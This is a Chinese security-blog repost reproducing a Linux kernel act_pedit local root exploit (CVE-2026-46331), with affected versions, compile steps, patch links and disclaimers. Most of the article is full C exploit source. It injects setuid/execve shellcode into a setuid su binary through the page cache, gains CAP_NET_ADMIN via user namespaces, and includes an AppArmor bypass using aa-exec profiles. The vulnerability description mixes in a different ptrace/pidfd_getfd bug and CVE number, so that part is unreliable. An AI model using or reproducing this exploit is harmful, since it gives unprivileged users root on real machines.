文章总结: 该文档详细分析了Linux内核actpedit本地权限提升漏洞CVE-2026-46331的技术细节,指出漏洞源于ptrace的getdumpable逻辑缺陷,允许普通用户通过pidfd_getfd系统调用在特定时间窗口窃取setuid程序的敏感文件描述符实现本地提权。文档包含影响版本列表、完整的漏洞复现步骤及利用代码,提供了从编译EXP到成功获取root权限的实战操作指南。 综合评分: 87 文章分类: 漏洞分析,二进制安全,红队,Linux内核,应急响应
【成功复现】Linux内核act_pedit本地权限提升漏洞(CVE-2026-46331)
原创
弥天安全实验室 弥天安全实验室
弥天安全实验室
2026年6月20日 10:32 陕西
在小说阅读器读本章
去阅读
#
网安引领时代,弥天点亮未来
0x00写在前面
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
0x01漏洞介绍
Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
Linux kernel存在安全漏洞,该漏洞源于ptrace的get_dumpable逻辑处理不当,可能导致权限检查问题。CVE-2026-46333漏洞也成为”ssh-keysign-pwn”。
Linux内核__ptrace_may_access()函数存在逻辑缺陷:当目标进程的task->mm指针为NULL时(即内核调用 exit_mm() 后),会完全跳过 dumpable安全检查。由于do_exit()的执行顺序是先清空mm指针再关闭文件描述符,攻击者可利用pidfd_getfd() 系统调用在mm=NULL但文件描述符仍存在的极短时间窗口内,窃取setuid程序打开的敏感文件描述符(如 /etc/shadow 或 SSH 私钥),从而以普通用户权限读取root拥有的任意文件,实现本地权限提升。
0x02影响版本
`1. v5.18 <= Linux Kernel < v7.1-rc7
现在已知受影响发行版本:
-
RHEL 10.0(内核 6.12.0-228.el10)
-
Debian 13 trixie(内核 6.12.90+deb13.1)
-
Ubuntu 24.04.4(内核 6.17.0-22)`
0x03漏洞复现
1.连接环境
2.漏洞复现
上传漏洞利用exp,进行编译
gcc -O2 -Wall -static packet_edit_meme.c pedit_primitive.c -o packet_edit_meme
执行编译后的文件,成功本地提权到root
漏洞利用c代码
/* * packet_edit_meme.c -- CVE-2026-46331 weaponized: unprivileged local root. * * The tc-pedit page-cache write primitive overwrites the ELF entry point of a * setuid-root su (in the shared page cache) with a small setuid(0)+execve("/bin/sh") * shellcode. CAP_NET_ADMIN for the primitive is obtained unprivileged by a child * that unshare()s a user+net namespace; the parent stays in the init user namespace * and exec()s su, so the setuid bit makes it euid 0 globally and the corrupted * cached page runs the shellcode as real root. * * Shellcode is pure x86_64 syscalls (setuid=105, execve=59) -- the syscall ABI is * frozen, so it runs unchanged on any 5.x / 6.x / 7.x kernel. The bug itself spans * v5.18 .. v7.1-rc6. * * Build: x86_64-linux-gnu-gcc -O2 -Wall -static packet_edit_meme.c pedit_primitive.c * Run from an unprivileged user. Default path is a plain unshare(); on * AppArmor-restricted Ubuntu pass --ubuntu to transition via aa-exec into a * userns-permitting profile (trinity/chrome/flatpak) first. */#define _GNU_SOURCE#include "pedit_primitive.h"#include <stdio.h>#include <stdlib.h>#include <string.h>#include <errno.h>#include <unistd.h>#include <fcntl.h>#include <sched.h>#include <elf.h>#include <sys/stat.h>#include <sys/wait.h>
#define SHELLCODE_PAD 0x90
/* x86_64: setgid(0); setuid(0); execve("/bin/sh", {"/bin/sh", NULL}, NULL). 48 bytes (% PEDIT_SLOT). */static const unsigned char SHELLCODE[] = { 0x31, 0xff, /* xor edi, edi */ 0xb8, 0x6a, 0x00, 0x00, 0x00, /* mov eax, 106 (setgid) */ 0x0f, 0x05, /* syscall */ 0xb8, 0x69, 0x00, 0x00, 0x00, /* mov eax, 105 (setuid) */ 0x0f, 0x05, /* syscall (rdi still 0) */ 0x48, 0x31, 0xd2, /* xor rdx, rdx */ 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, /* movabs rbx, "/bin/sh" */ 0x53, /* push rbx */ 0x48, 0x89, 0xe7, /* mov rdi, rsp */ 0x52, /* push rdx (argv NULL) */ 0x57, /* push rdi ("/bin/sh") */ 0x48, 0x89, 0xe6, /* mov rsi, rsp (argv) */ 0xb8, 0x3b, 0x00, 0x00, 0x00, /* mov eax, 59 (execve) */ 0x0f, 0x05, /* syscall */ SHELLCODE_PAD, SHELLCODE_PAD, SHELLCODE_PAD, /* pad to a whole slot */};
static const char *SU_PATHS[] = { "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL,};
static const char *find_su(void){ struct stat info; int index;
for (index = 0; SU_PATHS[index]; index++) { if (stat(SU_PATHS[index], &info) == 0 && S_ISREG(info.st_mode) && (info.st_mode & S_ISUID) && info.st_uid == 0) return SU_PATHS[index]; } return NULL;}
/* Return the file offset of e_entry via the executable PT_LOAD that contains it. */static long elf_entry_offset(int fd){ Elf64_Ehdr ehdr; Elf64_Phdr phdr; int index;
if (pread(fd, &ehdr, sizeof(ehdr), 0) != (ssize_t)sizeof(ehdr)) return -1; if (memcmp(ehdr.e_ident, ELFMAG, SELFMAG) != 0 || ehdr.e_ident[EI_CLASS] != ELFCLASS64) return -1; for (index = 0; index < ehdr.e_phnum; index++) { off_t at = ehdr.e_phoff + (off_t)index * ehdr.e_phentsize;
if (pread(fd, &phdr, sizeof(phdr), at) != (ssize_t)sizeof(phdr)) return -1; if (phdr.p_type == PT_LOAD && (phdr.p_flags & PF_X) && ehdr.e_entry >= phdr.p_vaddr && ehdr.e_entry < phdr.p_vaddr + phdr.p_filesz) return (long)(ehdr.e_entry - phdr.p_vaddr + phdr.p_offset); } return -1;}
static void write_proc_file(const char *path, const char *value){ int fd = open(path, O_WRONLY);
if (fd >= 0) { if (write(fd, value, strlen(value)) < 0) { /* best effort */ } close(fd); }}
/* Runs in the unshare()d child: map to uid 0, then write the shellcode over su's * entry, slot by slot, through the page-cache primitive. */static int corrupt_entry(int su_fd, long entry_offset){ char map_line[64]; uid_t uid = getuid(); gid_t gid = getgid(); size_t written = 0;
if (unshare(CLONE_NEWUSER | CLONE_NEWNET)) { perror("unshare"); return -1; } write_proc_file("/proc/self/setgroups", "deny"); snprintf(map_line, sizeof(map_line), "0 %u 1", uid); write_proc_file("/proc/self/uid_map", map_line); snprintf(map_line, sizeof(map_line), "0 %u 1", gid); write_proc_file("/proc/self/gid_map", map_line);
if (setup()) return -1; while (written < sizeof(SHELLCODE)) { size_t chunk = sizeof(SHELLCODE) - written;
if (chunk > PEDIT_MAX_WRITE) chunk = PEDIT_MAX_WRITE; if (api_fd_write(su_fd, entry_offset + written, SHELLCODE + written, chunk)) return -1; written += chunk; } return 0;}
static int run_exploit(void){ const char *su_path; char *su_argv[2]; int su_fd; int sync_pipe[2]; long entry_offset; pid_t child; int status; char ack = 0;
su_path = find_su(); if (!su_path) { fprintf(stderr, "[-] no setuid-root su found\n"); return 1; } su_fd = open(su_path, O_RDONLY); if (su_fd < 0) { perror("open su"); return 1; } entry_offset = elf_entry_offset(su_fd); if (entry_offset < 0) { fprintf(stderr, "[-] could not locate su entry point\n"); return 1; } printf("[*] target %s as uid %d; entry at file offset 0x%lx; shellcode %zu bytes\n", su_path, (int)getuid(), entry_offset, sizeof(SHELLCODE));
/* corruptor child gets CAP_NET_ADMIN via userns; the page cache is global so the * overwrite is visible to our later exec() in the init user namespace. */ if (pipe(sync_pipe)) { perror("pipe"); return 1; } child = fork(); if (child < 0) { perror("fork"); return 1; } if (child == 0) { close(sync_pipe[0]); if (corrupt_entry(su_fd, entry_offset)) _exit(1); if (write(sync_pipe[1], "1", 1) != 1) _exit(1); _exit(0); } close(sync_pipe[1]); if (read(sync_pipe[0], &ack, 1) != 1) ack = 0; waitpid(child, &status, 0); if (ack != '1' || !WIFEXITED(status) || WEXITSTATUS(status) != 0) { fprintf(stderr, "[-] page-cache corruption failed\n"); return 1; } printf("[+] su entry overwritten; exec'ing su -> interactive root shell\n");
/* exec su keeping our own stdin/stdout/stderr (the caller's tty), so the * shellcode's /bin/sh is an interactive root shell that stays open. */ su_argv[0] = (char *)su_path; su_argv[1] = NULL; execve(su_path, su_argv, NULL); perror("execve su"); return 1;}
/* --ubuntu: on AppArmor-restricted Ubuntu the unconfined userns is denied, so * re-exec under a permissive profile via aa-exec; the corruptor's plain * unshare(NEWUSER) is then allowed. Tries each profile; on a rooted run the child * exits 0 and we stop. The default (no flag) path stays a plain unshare. */static const char *AA_PROFILES[] = { "trinity", "chrome", "flatpak", NULL };
static void apparmor_userns_bypass(char *self){ int index; pid_t pid; int status;
for (index = 0; AA_PROFILES[index]; index++) { pid = fork(); if (pid < 0) return; if (pid == 0) { execlp("aa-exec", "aa-exec", "-p", AA_PROFILES[index], "--", self, "--in-profile", (char *)NULL); _exit(127); } if (waitpid(pid, &status, 0) == pid && WIFEXITED(status) && WEXITSTATUS(status) == 0) exit(0); }}
int main(int argc, char **argv){ /* must be launched as the target unprivileged user (e.g. `su - user -c ...`), * which sets the credentials -- this binary does not drop privileges itself. */ if (getuid() == 0) { fprintf(stderr, "[-] run me as an unprivileged user, not root\n"); return 1; } if (argc >= 2 && strcmp(argv[1], "--ubuntu") == 0) { apparmor_userns_bypass(argv[0]); /* re-exec under a permissive profile */ fprintf(stderr, "[-] --ubuntu: no usable aa-exec profile (trinity/chrome/flatpak)\n"); return 1; } return run_exploit(); /* default + the post-aa-exec re-exec */}
0x04修复建议****
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
临时缓解方案
临时禁用act_pedit内核模块
建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=899ee91156e57784090c5565e4f31bd7dbffbc5ahttps://codeload.github.com/sgkdev/packet_edit_meme/zip/refs/heads/main
弥天简介
学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。
口号 网安引领时代,弥天点亮未来
知识分享完了
喜欢别忘了关注我们哦~
学海浩茫,
予以风动,
必降弥天之润!
弥 天
安全实验室
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:弥天安全实验室 弥天安全实验室 弥天安全实验室《【成功复现】Linux内核act_pedit本地权限提升漏洞(CVE-2026-46331)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。



![[安全工具]JsonExp—Fastjson/Jackson反序列化漏洞自动化检测利器](/images/random/titlepic/15.jpg)





评论